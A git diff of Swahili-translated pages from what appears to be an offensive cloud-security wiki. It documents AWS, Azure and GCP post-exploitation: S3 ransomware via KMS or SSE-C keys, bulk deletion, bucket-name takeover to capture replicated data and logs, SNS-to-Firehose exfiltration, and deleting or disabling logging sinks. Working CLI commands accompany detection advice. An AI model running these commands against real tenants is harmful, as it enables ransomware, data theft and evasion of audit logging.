diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
index 9e85d9e10..3c3111316 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
@@ -10,41 +10,41 @@ Kwa taarifa zaidi angalia:
 ../../aws-services/aws-s3-athena-and-glacier-enum.md
 {{#endref}}
 
-### Taarifa Nyeti
+### Sensitive Information
 
-Wakati mwingine utaweza kupata taarifa nyeti zinazoweza kusomwa ndani ya buckets. Kwa mfano, terraform state secrets.
+Wakati mwingine utaweza kupata sensitive information inayosomeka ndani ya buckets. Kwa mfano, terraform state secrets.
 
 ### Pivoting
 
-Platform mbalimbali zinaweza kutumia S3 kuhifadhi mali nyeti.\
-Kwa mfano, **airflow** inaweza kuhifadhi **DAGs** **code** hapo, au **web pages** zinaweza kutumika moja kwa moja kutoka S3. Mshambuliaji aliye na ruhusa za kuandika anaweza **modify the code** kutoka kwa bucket ili **pivot** kwenda platform nyingine, au **takeover accounts** kwa kubadilisha faili za JS.
+Majukwaa tofauti yanaweza kuwa yanatumia S3 kuhifadhi sensitive assets.\
+Kwa mfano, **airflow** inaweza kuwa inahifadhi **DAGs** **code** humo, au **web pages** zinaweza kutolewa moja kwa moja kutoka S3. Mshambuliaji mwenye write permissions anaweza **kurekebisha code** kutoka kwenye bucket ili **pivot** kwenda majukwaa mengine, au **kuchukua account** kwa kurekebisha faili za JS.
 
 ### S3 Ransomware
 
-Katika tukio hili, **mshambuliaji anaunda KMS (Key Management Service) key katika akaunti yao ya AWS** au akaunti nyingine iliyoharibiwa. Kisha wanafanya **key hii iwe inapatikana kwa mtu yeyote ulimwenguni**, kuruhusu mtumiaji yeyote wa AWS, role, au account kusimba objects kwa kutumia key hii. Hata hivyo, objects haya hayawezi kufunguliwa (decrypted).
+Katika hali hii, **mshambuliaji anaumba KMS (Key Management Service) key katika AWS account yake mwenyewe** au account nyingine iliyoathiriwa. Kisha wanafanya **key hii ipatikane kwa mtu yeyote duniani**, ikiruhusu mtumiaji, role, au account yoyote ya AWS kusimba objects kwa kutumia key hii. Hata hivyo, objects haziwezi kufunguliwa kwa decryption.
 
-Mshambuliaji hutatua bucket ya S3 lengwa na kupata write-level access kwa kutumia mbinu mbalimbali. Hii inaweza kusababishwa na usanidi mbaya wa bucket unaofanya iwe hadharani au mshambuliaji kupata ufikiaji wa mazingira ya AWS yenyewe. Kawaida mshambuliaji hualenga buckets zenye taarifa nyeti kama personally identifiable information (PII), protected health information (PHI), logs, backups, na zaidi.
+Mshambuliaji hutambua lengo la **S3 bucket na kupata write-level access** kwake kwa kutumia mbinu mbalimbali. Hii inaweza kuwa kwa sababu ya bucket configuration duni inayoiweka hadharani au mshambuliaji kupata access kwenye AWS environment yenyewe. Kwa kawaida mshambuliaji hulenga buckets zinazobeba taarifa nyeti kama vile personally identifiable information (PII), protected health information (PHI), logs, backups, na zaidi.
 
-Ili kubaini kama bucket inaweza kulengwa kwa ransomware, mshambuliaji anakagua usanidi wake. Hii inajumuisha kuthibitisha kama **S3 Object Versioning** imewezeshwa na kama **multi-factor authentication delete (MFA delete)** imewezeshwa. Ikiwa Object Versioning haijawezeshwa, mshambuliaji anaweza kuendelea. Ikiwa Object Versioning imewezeshwa lakini MFA delete haijawezeshwa, mshambuliaji anaweza **disable Object Versioning**. Ikiwa Object Versioning na MFA delete zote zimewezeshwa, inakuwa ngumu zaidi kwa mshambuliaji kufanya ransomware kwa bucket hiyo.
+Ili kubaini kama bucket inaweza kulengwa kwa ransomware, mshambuliaji hukagua configuration yake. Hii inajumuisha kuthibitisha kama **S3 Object Versioning** imewezeshwa na kama **multi-factor authentication delete (MFA delete)** imewezeshwa. Ikiwa Object Versioning haijawezeshwa, mshambuliaji anaweza kuendelea. Ikiwa Object Versioning imewezeshwa lakini MFA delete imezimwa, mshambuliaji anaweza **kuzima Object Versioning**. Ikiwa Object Versioning na MFA delete vyote vimewezeshwa, inakuwa vigumu zaidi kwa mshambuliaji kufanya ransomware kwenye bucket hiyo mahususi.
 
-Kwa kutumia AWS API, mshambuliaji **anabadilisha kila object katika bucket na nakala iliyosimbwa kwa kutumia KMS key yao**. Hii inasimba data katika bucket, ikifanya isiweze kupatikana bila key.
+Kwa kutumia AWS API, mshambuliaji **anabadili kila object kwenye bucket na nakala iliyosimbwa kwa kutumia KMS key yake**. Hii kwa ufanisi husimba data ndani ya bucket, na kuifanya isifikiwe bila key hiyo.
 
-Ili kuongeza shinikizo, mshambuliaji anapanga kuifuta KMS key iliyotumika katika shambulio. Hii inampa lengwa dirisha la siku 7 kurejesha data zao kabla key itakapoondolewa na data kuharibika kabisa.
+Ili kuongeza shinikizo zaidi, mshambuliaji hupanga kufutwa kwa KMS key iliyotumika kwenye shambulio. Hii humpa lengo dirisha la siku 7 kurejesha data zao kabla key haijafutwa na data inakuwa imepotea kabisa.
 
-Mwishowe, mshambuliaji anaweza kupakia faili ya mwisho, kwa kawaida iitwayo "ransom-note.txt," ambayo ina maelekezo kwa lengwa juu ya jinsi ya kupata faili zao. Faili hii hupakiwa bila encryption, sambamba kuonekana kwa lengwa na kuwafahamisha juu ya shambulio la ransomware.
+Hatimaye, mshambuliaji anaweza kupakia faili ya mwisho, kwa kawaida inayoitwa "ransom-note.txt," ambayo ina maelekezo kwa lengo kuhusu jinsi ya kurejesha faili zao. Faili hii inapakiwa bila encryption, huenda ili kuvutia umakini wa lengo na kuwafanya waelewe kuwa kuna ransomware attack.
 
 #### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like)
 
-Tofauti nyingine ni kutumia mbinu mbaya ya **SSE-C** (S3 server-side encryption with **customer-provided keys**). Kwa SSE-C, **mteja anatoa encryption key kwenye kila ombi** na **AWS haijihifadhi key**. Hii inamaanisha kwamba ikiwa mshambuliaji anarekebisha objects kwa kutumia **own SSE-C key**, data ya mwathirika inakuwa hawezi kusomwa isipokuwa mwathirika aweze kutoa key iliyodhibitiwa na mshambuliaji huyo.
+Toleo jingine ni kutumia vibaya **SSE-C** (S3 server-side encryption with **customer-provided keys**). Kwa SSE-C, **client hutoa encryption key kwenye kila request** na **AWS haihifadhi key**. Hii inamaanisha kwamba ikiwa mshambuliaji ataandika upya objects kwa kutumia **SSE-C key yake mwenyewe**, data ya mwathiriwa itakuwa haisomeki isipokuwa mwathiriwa aweze kutoa hiyo key inayodhibitiwa na mshambuliaji.
 
-- **Preconditions:** Compromised AWS credentials (au principal yeyote mwenye ruhusa sahihi) na uwezo wa **rewrite objects** (mfano, `s3:PutObject` kwenye target keys/prefixes). Hii mara nyingi huambatana na uwezo wa kuweka destructive lifecycle policies (angalia hapa chini), mfano `s3:PutLifecycleConfiguration`.
+- **Preconditions:** AWS credentials zilizoathiriwa (au principal yoyote yenye permissions sahihi) na uwezo wa **kuandika upya objects** (kwa mfano, `s3:PutObject` kwenye target keys/prefixes). Hii mara nyingi huambatana na uwezo wa kuweka destructive lifecycle policies (angalia hapa chini), kwa mfano `s3:PutLifecycleConfiguration`.
 - **Attack chain:**
-1. Mshambuliaji anazalisha key ya nasibu ya 256-bit (AES-256) na kuibakisha.
-2. Mshambuliaji **anarekebisha** objects zilizopo (mabati ya object yale yale) kwa kutumia SSE-C headers hivyo object iliyohifadhiwa sasa imesimbwa na attacker key.
-3. Mwathirika hawezi kupakua/ku-decrypt bila kutoa SSE-C key (hata kama IAM permissions ziko sawa).
-4. Mshambuliaji anaweza kufuta key (au kwa urahisi kamwe wasikubali kuutoa) ili kufanya data isirejeshike.
+1. Mshambuliaji hutengeneza random 256-bit key (AES-256) na huihifadhi.
+2. Mshambuliaji **anaandika upya** objects zilizopo (object keys zile zile) kwa kutumia SSE-C headers ili stored object sasa iwe imesimbwa kwa key ya mshambuliaji.
+3. Mwathiriwa hawezi kupakua/decrypt bila kutoa SSE-C key (hata kama IAM permissions ni sawa).
+4. Mshambuliaji anaweza kufuta key (au asitoe tu) ili kufanya data isiweze kurejeshwa.
 
-Example (conceptual) CLI usage:
+Mfano wa matumizi ya CLI (kikonsptu):
 ```bash
 # Upload/overwrite an object encrypted with attacker-provided SSE-C key
 aws s3 cp ./file s3://<BUCKET>/<KEY> \
@@ -56,25 +56,25 @@ aws s3 cp s3://<BUCKET>/<KEY> ./file \
 --sse-c AES256 \
 --sse-c-key <BASE64_32_BYTES>
 ```
-##### Kuongeza Shinikizo: Matumizi Mabaya ya "Timer" ya lifecycle
+##### Kuongeza Shinikizo: Unyanyasaji wa Lifecycle "Timer"
 
-Ili kuondoa chaguo za urejeshaji (kama matoleo ya zamani), watapigaji wezi wanaweza kuunganisha upya SSE-C na **lifecycle rules** zinazofanya vitu kuisha muda na/au kufuta noncurrent versions baada ya kipindi kifupi:
+Ili kuondoa chaguo za recovery (kama versions za zamani), attackers wanaweza kuunganisha SSE-C rewrites na **lifecycle rules** ambazo zinafanya objects ziishe muda na/au kufuta noncurrent versions baada ya kipindi kifupi:
 
-- `s3:PutLifecycleConfiguration` kwenye bucket inamruhusu mshambuliaji kupanga ufutaji bila kutoa amri za kufuta kwa kila object/version.
-- Hii ina athari kubwa hasa wakati **versioning is enabled**, kwa sababu inaweza kuondoa "previous good version" ambayo vingine ingewezesha urejeshaji.
+- `s3:PutLifecycleConfiguration` kwenye bucket humruhusu attacker kupanga deletions bila kutoa explicit delete operations kwa kila object/version.
+- Hii huwa na athari kubwa zaidi wakati **versioning imewezeshwa**, kwa sababu inaweza kuondoa "previous good version" ambalo vinginevyo lingeruhusu recovery.
 
-##### Ugunduzi & Kupunguza
+##### Detection & Mitigations
 
-- Tumia kipaumbele **SSE-KMS** (au SSE-S3) badala ya SSE-C isipokuwa ikiwa una sababu thabiti ya kiutendaji kuruhusu SSE-C.
-- Fuatilia/taarifu kuhusu maombi ya `PutObject` yanayotumia vichwa vya SSE-C (CloudTrail data events for S3).
-- Fuatilia/taarifu kuhusu `PutBucketLifecycleConfiguration` isiyotarajiwa (mabadiliko ya lifecycle).
-- Fuatilia/taarifu kuhusu mlole wa ghafla wa shughuli za kuandika juu (mifunguo ileile ikisasishwa kwa haraka) na kufutwa kwa delete-marker/version.
-- Punguza ruhusa zenye hatari kubwa: Punguza `s3:PutObject` kwa prefixes zinazohitajika; kizuia kwa nguvu `s3:PutLifecycleConfiguration` na `s3:PutBucketVersioning`; fikiria kuhitaji MFA kwa vitendo nyeti za usimamizi (ikihitajika) na tumia vyeo tofauti vya admin vinavyohitaji idhini.
-- Mwenendo wa urejeshaji: Tumia **versioning**, **backups**, na nakala zisizobadilika/zimelindwa (S3 replication to protected account, backup vaults, etc.); linda noncurrent versions dhidi ya ufutaji mkali na lindilia mabadiliko ya lifecycle kwa SCPs / guardrails.
+- Pendelea **SSE-KMS** (au SSE-S3) badala ya SSE-C isipokuwa una sababu thabiti ya kioperesheni ya kuruhusu SSE-C.
+- Fuatilia/onya juu ya `PutObject` requests zinazotumia SSE-C headers (CloudTrail data events kwa S3).
+- Fuatilia/onya juu ya `PutBucketLifecycleConfiguration` isiyotarajiwa (mabadiliko ya lifecycle).
+- Fuatilia/onya juu ya ongezeko la ghafla la overwrite activity (same keys zinasasishwa haraka) na delete-marker/version deletions.
+- Zuia permissions zenye hatari kubwa: Punguza `s3:PutObject` hadi prefixes zinazohitajika; zuia sana `s3:PutLifecycleConfiguration` na `s3:PutBucketVersioning`; fikiria kuhitaji MFA kwa sensitive admin actions (kama inafaa) na tumia separate admin roles zenye approvals.
+- Recovery posture: Tumia **versioning**, **backups**, na immutable/offline copies (S3 replication kwenda protected account, backup vaults, n.k.); linda noncurrent versions dhidi ya deletion ya haraka na linda mabadiliko ya lifecycle kwa SCPs / guardrails.
 
 ### `s3:RestoreObject`
 
-Mshambuliaji mwenye ruhusa `s3:RestoreObject` anaweza kuwasha tena vitu vilivyohifadhiwa katika Glacier au Deep Archive, na kuvitengenezea upatikanaji wa muda. Hii inaruhusu urejeshaji na uondozaji wa data zilizohifadhiwa kihistoria (backups, snapshots, logs, certifications, old secrets) ambazo kawaida zingekuwa hazipatikani. Ikiwa mshambuliaji atachanganya ruhusa hii na ruhusa za kusoma (mfano, `s3:GetObject`), wanaweza kupata nakala kamili za data nyeti.
+Attacker mwenye permission ya s3:RestoreObject anaweza kuamsha tena objects zilizohifadhiwa katika Glacier au Deep Archive, na kuzifanya zipatikane kwa muda. Hii huwezesha recovery na exfiltration ya data ya zamani iliyokuwa archived (backups, snapshots, logs, certifications, old secrets) ambayo kawaida isingefikiwa. Ikiwa attacker ataunganisha permission hii na read permissions (kwa mfano, s3:GetObject), anaweza kupata nakala kamili za sensitive data.
 ```bash
 aws s3api restore-object \
 --bucket <BUCKET_NAME> \
@@ -86,7 +86,7 @@ aws s3api restore-object \
 ```
 ### `s3:Delete*`
 
-Mshambulizi mwenye ruhusa ya s3:Delete* anaweza kufuta objects, versions, na buckets zote, kuingilia backups, na kusababisha upotevu wa data mara moja na usioweza kurejeshwa, uharibifu wa ushahidi, na kuweka backup au recovery artifacts hatarini.
+Mshambuliaji mwenye ruhusa ya s3:Delete* anaweza kufuta objects, versions, na entire buckets, kuvuruga backups, na kusababisha hasara ya data ya haraka na isiyoweza kurekebishwa, uharibifu wa ushahidi, na kuathiri backup au recovery artifacts.
 ```bash
 # Delete an object from a bucket
 aws s3api delete-object \
@@ -103,6 +103,34 @@ aws s3api delete-object \
 aws s3api delete-bucket \
 --bucket <BUCKET_NAME>
 ```
-**Kwa maelezo zaidi** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+### Global bucket name takeover of autonomous writers - `s3:DeleteBucket`
+
+S3 bucket names ni za kipekee duniani kote. Ikiwa akaunti ya mwathiriwa ina automated writers zinazendelea kuwasilisha data kwa `arn:aws:s3:::<bucket-name>` na mshambulizi anaweza ku-empty/kufuta bucket hiyo, mshambulizi anaweza kuunda tena bucket yenye jina hilo hilo katika akaunti inayodhibitiwa na mshambulizi na kupokea future deliveries bila kubadilisha upstream service configuration.
+
+Malengo mazuri ya kukagua ni pamoja na S3 replication destinations, Kinesis Data Firehose delivery streams, CloudWatch Logs/SNS/WAF delivery chains zinazotua katika S3, na custom backup au export jobs.
+```bash
+# Review S3 replication destinations on source buckets
+aws s3api get-bucket-replication --bucket <SOURCE_BUCKET>
+
+# Review Firehose S3 destinations
+aws firehose describe-delivery-stream \
+--delivery-stream-name <DELIVERY_STREAM_NAME>
+
+# Empty and delete the target bucket, if permitted
+aws s3 rm s3://<BUCKET_NAME> --recursive
+aws s3api delete-bucket --bucket <BUCKET_NAME>
+
+# Recreate the same globally-unique name in the attacker account
+aws s3 mb s3://<BUCKET_NAME> --region <REGION>
+```
+Sera ya ndoo ya kubadilisha lazima iruhusu writer wa upstream kuweka objects. Principal sahihi inategemea service: kwa mfano IAM replication role, Firehose delivery role, au service principal iliyozuiliwa kwa `aws:SourceArn` / `aws:SourceAccount`.
+
+**Potential Impact:** exfiltration ya kimya ya objects zilizoreplicate baadaye, logs, telemetry, backups, na pipeline artifacts kwenda kwenye AWS account inayodhibitiwa na attacker.
+
+**Detection & Mitigation:** toa alert kwenye ufutaji wa buckets zinazoreferenced na replication rules au delivery streams, monitor `NoSuchBucket` delivery failures ikifuatiwa na bucket recreation, zuia `s3:DeleteBucket` kwenye export destinations, na weka cross-account deliveries kwa strict bucket policies na ownership expectations.
+
+
+
+**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
index abb80eec9..1ce0871e4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
@@ -2,12 +2,12 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-Matumizi mabaya ya protocol ya subscription ya Firehose ili kusajili Kinesis Data Firehose delivery stream inayodhibitiwa na mshambuliaji kwenye topic ya kawaida ya SNS ya mwathiriwa. Mara subscription itakapokuwa mahali na role ya IAM inayohitajika ikiamini `sns.amazonaws.com`, kila notification ijayo itaandikwa kwa kudumu ndani ya S3 bucket ya mshambuliaji kwa kelele ndogo sana.
+Tumia vibaya Firehose subscription protocol ili kusajili Kinesis Data Firehose delivery stream inayodhibitiwa na mshambuliaji kwenye victim SNS standard topic. Mara subscription inapowekwa na IAM role inayohitajika ikaamini `sns.amazonaws.com`, kila notification ya baadaye itaandikwa kwa kudumu ndani ya S3 bucket ya mshambuliaji kwa kelele kidogo sana.
 
-## Mahitaji
-- Idhini katika akaunti ya mshambuliaji za kuunda S3 bucket, Firehose delivery stream, na role ya IAM inayotumika na Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
-- Uwezo wa `sns:Subscribe` kwa topic ya mwathiriwa (na hiari `sns:SetSubscriptionAttributes` ikiwa subscription role ARN inatolewa baada ya kuundwa).
-- Sera ya topic inayomruhusu principal wa mshambuliaji ku-subscribe (au mshambuliaji tayari anafanya kazi ndani ya akaunti ile ile).
+## Requirements
+- Permissions katika account ya mshambuliaji za kuunda S3 bucket, Firehose delivery stream, na IAM role inayotumiwa na Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
+- Uwezo wa `sns:Subscribe` kwenye victim topic (na kwa hiari `sns:SetSubscriptionAttributes` ikiwa subscription role ARN itatolewa baada ya creation).
+- Topic policy inayoruhusu attacker principal ku-subscribe (au mshambuliaji tayari anafanya kazi ndani ya same account).
 
 ## Attack Steps (same-account example)
 ```bash
@@ -67,10 +67,24 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --regio
 sleep 90
 aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
 ```
-## Usafishaji
-- Futa subscription ya SNS, Firehose delivery stream, role/policy za IAM za muda, na S3 bucket ya mshambuliaji.
+## Cleanup
+- Futa SNS subscription, Firehose delivery stream, temporary IAM roles/policies, na attacker S3 bucket.
 
-## Athari
-**Athari Inayowezekana**: Uondoaji wa kudumu na unaoendelea wa kila ujumbe uliotangazwa kwenye SNS topic iliyolengwa hadi hifadhi inayodhibitiwa na mshambuliaji kwa athari ndogo za uendeshaji.
+## Impact
+**Potential Impact**: Continuous, durable exfiltration ya kila message inayochapishwa kwenye targeted SNS topic kwenda attacker-controlled storage kwa minimal operational footprint.
+
+## Related Bucket-Name Hijack Variant
+
+If existing SNS -> Firehose -> S3 chain tayari inaandika kwenda bucket na attacker anaweza kufuta hiyo bucket, they may be able to recreate the same globally-unique S3 bucket name in an attacker-controlled account. Future Firehose deliveries can then land in the replacement bucket without changing the SNS subscription or Firehose stream configuration.
+```bash
+# Identify the Firehose S3 destination
+aws firehose describe-delivery-stream \
+--delivery-stream-name <DELIVERY_STREAM_NAME> \
+--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription'
+
+# After deleting the original bucket, recreate the same name in the attacker account
+aws s3 mb s3://<BUCKET_NAME> --region <REGION>
+```
+Toa Firehose delivery role ufikiaji kwa replacement bucket ikiwa role inaweza kuandika cross-account. Fuatilia bucket deletion kwenye Firehose destinations, delivery failures, na unexpected bucket ownership changes.
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
index 419e0cbb3..eb67df7e5 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## Storage Privesc
 
-Kwa maelezo zaidi kuhusu uhifadhi angalia:
+Kwa maelezo zaidi kuhusu storage angalia:
 
 {{#ref}}
 ../az-services/az-storage.md
@@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu uhifadhi angalia:
 
 ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
 
-Mtu mwenye ruhusa hii ataweza **orodhesha** blobs (faili) ndani ya kontena na **kupakua** faili ambazo zinaweza kuwa na **taarifa nyeti**.
+Principal yenye ruhusa hii itaweza **list** blobs (files) zilizo ndani ya container na **download** files ambazo huenda zikawa na **sensitive information**.
 ```bash
 # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
 az storage blob list \
@@ -26,7 +26,7 @@ az storage blob download \
 ```
 ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
 
-Mtu mwenye ruhusa hii ataweza **kuandika na kufuta faili katika kontena** ambayo inaweza kumruhusu kuleta uharibifu au hata kuongeza mamlaka (kwa mfano, kufuta baadhi ya msimbo uliohifadhiwa katika blob):
+Mkuu mwenye ruhusa hii ataweza **kuandika na ku-overwrite faili ndani ya containers** jambo ambalo linaweza kumruhusu kusababisha uharibifu fulani au hata ku-escalate privileges (kwa mfano, ku-overwrite baadhi ya code iliyohifadhiwa katika blob):
 ```bash
 # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
 az storage blob upload \
@@ -36,6 +36,35 @@ az storage blob upload \
 ```
 ### \*/delete
 
-Hii itaruhusu kufuta vitu ndani ya akaunti ya hifadhi ambayo yanaweza **kuingilia baadhi ya huduma** au kumfanya mteja **kupoteza taarifa muhimu**.
+Hii inaweza kuruhusu kufuta objects ndani ya storage account ambayo inaweza **kukatiza baadhi ya services** au kumfanya client **apoteze taarifa muhimu**.
+
+### Storage account name takeover ya diagnostic exports
+
+Majina ya Azure Storage account ni ya kipekee duniani kote. Baadhi ya autonomous exports, kama Azure Monitor diagnostic settings, huendelea kuandika logs au metrics kwenye storage account iliyosanidiwa. Ikiwa attacker anaweza kufuta storage account hiyo na kuunda tena jina hilo hilo ndani ya subscription inayodhibitiwa na attacker katika tenant ileile, telemetry ya baadaye iliyosafirishwa inaweza kupelekwa kwenye account mbadala bila kurekebisha diagnostic setting.
+
+Hii ni ya kuvutia hasa wakati attacker ana destructive permissions kama `Microsoft.Storage/storageAccounts/delete`, lakini hawezi kusasisha monitored resource au diagnostic settings zake.
+
+Hii inahitaji jina la storage account liwe limetolewa ili litumike tena. Kivitendo, Azure storage account soft delete / recovery protections zinaweza kuchelewesha au kuzuia reuse ya haraka, hasa kati ya tenants.
+```bash
+# Find diagnostic settings that write to a storage account
+az monitor diagnostic-settings list \
+--resource <RESOURCE_ID> \
+--query '[].{name:name,storageAccountId:storageAccountId}'
+
+# Delete the storage account, if permitted
+az storage account delete \
+--name <STORAGE_ACCOUNT_NAME> \
+--resource-group <RESOURCE_GROUP>
+
+# Recreate the same globally-unique storage account name
+az storage account create \
+--name <STORAGE_ACCOUNT_NAME> \
+--resource-group <ATTACKER_RESOURCE_GROUP> \
+--location <LOCATION> \
+--sku Standard_LRS
+```
+**Athari Inayowezekana:** exfiltration ya muda mrefu ya logs za baadaye, metrics, data ya audit, na diagnostic archives kwenda kwa subscription inayodhibitiwa na mshambuliaji.
+
+**Detection & Mitigation:** alert juu ya kufutwa kwa storage accounts zilizorejelewa na diagnostic settings, inventory diagnostic settings zenye `storageAccountId`, monitor kwa destinations zilizoachwa bila uhusiano, na zuia kwa uthabiti permissions za uharibifu kwenye logging/archive storage accounts.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
index 8048c36cd..869c78842 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Taarifa za Msingi
+## Basic Information
 
 Kwa taarifa zaidi angalia:
 
@@ -18,17 +18,17 @@ gcp-monitoring-post-exploitation.md
 
 ### Default Logging
 
-**Kwa chaguo-msingi hutagundulika kwa kufanya vitendo vya kusoma tu. Kwa taarifa zaidi angalia sehemu ya Logging Enum.**
+**Kwa default hautakamatwa kwa kufanya read actions pekee. Kwa taarifa zaidi angalia sehemu ya Logging Enum.**
 
-### Ongeza Excepted Principal
+### Add Excepted Principal
 
-Katika [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) na [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) inawezekana kuongeza principals ili zisizotengeneze logs. Mshambuliaji anaweza kutumia hili kuzuia kugunduliwa.
+Katika [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) na [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) inawezekana kuongeza principals ili zisizalisha logs. Attacker anaweza kutumia hili ili asikamatwe.
 
-### Soma logs - `logging.logEntries.list`
+### Read logs - `logging.logEntries.list`
 
 <details>
 
-<summary>Soma log entries</summary>
+<summary>Read log entries</summary>
 ```bash
 # Read logs
 gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
@@ -44,18 +44,18 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
 
 <details>
 
-<summary>Futa rekodi za logi</summary>
+<summary>Futa ingizo za log</summary>
 ```bash
 # Delete all entries from a log in the _Default log bucket - logging.logs.delete
 gcloud logging logs delete <log-name>
 ```
 </details>
 
-### Kuandika logi - `logging.logEntries.create`
+### Andika logs - `logging.logEntries.create`
 
 <details>
 
-<summary>Andika rekodi ya logi</summary>
+<summary>Andika log entry</summary>
 ```bash
 # Write a log entry to try to disrupt some system
 gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
@@ -66,7 +66,7 @@ gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
 
 <details>
 
-<summary>Sasisha muda wa kuhifadhi wa log bucket</summary>
+<summary>Sasisha uhifadhi wa log bucket</summary>
 ```bash
 # Set retention period to 1 day (_Required has a fixed one of 400days)
 
@@ -89,7 +89,7 @@ gcloud logging buckets delete BUCKET_NAME --location=<location>
 
 <details>
 
-<summary>Futa log link</summary>
+<summary>Futa kiungo cha log</summary>
 ```bash
 # Delete link
 gcloud logging links delete <link-id> --bucket <bucket> --location <location>
@@ -100,7 +100,7 @@ gcloud logging links delete <link-id> --bucket <bucket> --location <location>
 
 <details>
 
-<summary>Futa view ya logging</summary>
+<summary>Futa logging view</summary>
 ```bash
 # Delete a logging view to remove access to anyone using it
 gcloud logging views delete <view-id> --bucket=<bucket> --location=global
@@ -122,7 +122,7 @@ gcloud logging views update <view-id> --log-filter="resource.type=gce_instance"
 
 <details>
 
-<summary>Sasisha vipimo vinavyotokana na logi</summary>
+<summary>Sasisha log-based metrics</summary>
 ```bash
 # Update log based metrics - logging.logMetrics.update
 gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
@@ -133,7 +133,7 @@ gcloud logging metrics update <metric-name> --description="Changed metric descri
 
 <details>
 
-<summary>Futa metrics zinazotokana na logi</summary>
+<summary>Futa log-based metrics</summary>
 ```bash
 # Delete log based metrics - logging.logMetrics.delete
 gcloud logging metrics delete <metric-name>
@@ -144,7 +144,7 @@ gcloud logging metrics delete <metric-name>
 
 <details>
 
-<summary>Ondoa log sink</summary>
+<summary>Futa log sink</summary>
 ```bash
 # Delete sink - logging.sinks.delete
 gcloud logging sinks delete <sink-name>
@@ -155,7 +155,7 @@ gcloud logging sinks delete <sink-name>
 
 <details>
 
-<summary>Sasisha/katiza sinki ya logi</summary>
+<summary>Sasisha/vuruga log sink</summary>
 ```bash
 # Disable sink - logging.sinks.update
 gcloud logging sinks update <sink-name> --disabled
@@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
 ```
 </details>
 
+### Cloud Logging sink bucket-name hijack - `storage.buckets.delete`
+
+Cloud Logging sinks zinaweza kuendelea kusafirisha logs hadi kwenye lengo la Cloud Storage kama vile `storage.googleapis.com/<bucket-name>` au `storage.googleapis.com/<bucket-name>/<prefix>`. Ikiwa attacker anaweza kufuta destination bucket, lakini hawezi kusasisha sink, bado anaweza kuelekeza upya logs zijazo zinazotumwa kwa kuunda tena jina lilelile la bucket la kipekee duniani ndani ya project inayodhibitiwa na attacker.
+
+Hii ni muhimu wakati principal iliyocompromised ina destructive storage permissions kama vile `storage.buckets.delete`, `storage.objects.delete`, na `storage.objects.list`, lakini haina `logging.sinks.update`.
+```bash
+# Find sinks that export to Cloud Storage
+gcloud logging sinks list --project <PROJECT_ID> \
+--format='table(name,destination,disabled,writerIdentity)'
+
+# Empty and delete the destination bucket, if permitted
+gcloud storage rm -r gs://<BUCKET_NAME>
+
+# Recreate the same bucket name in the attacker-controlled project
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+
+# Allow the sink writer identity to write objects into the replacement bucket
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
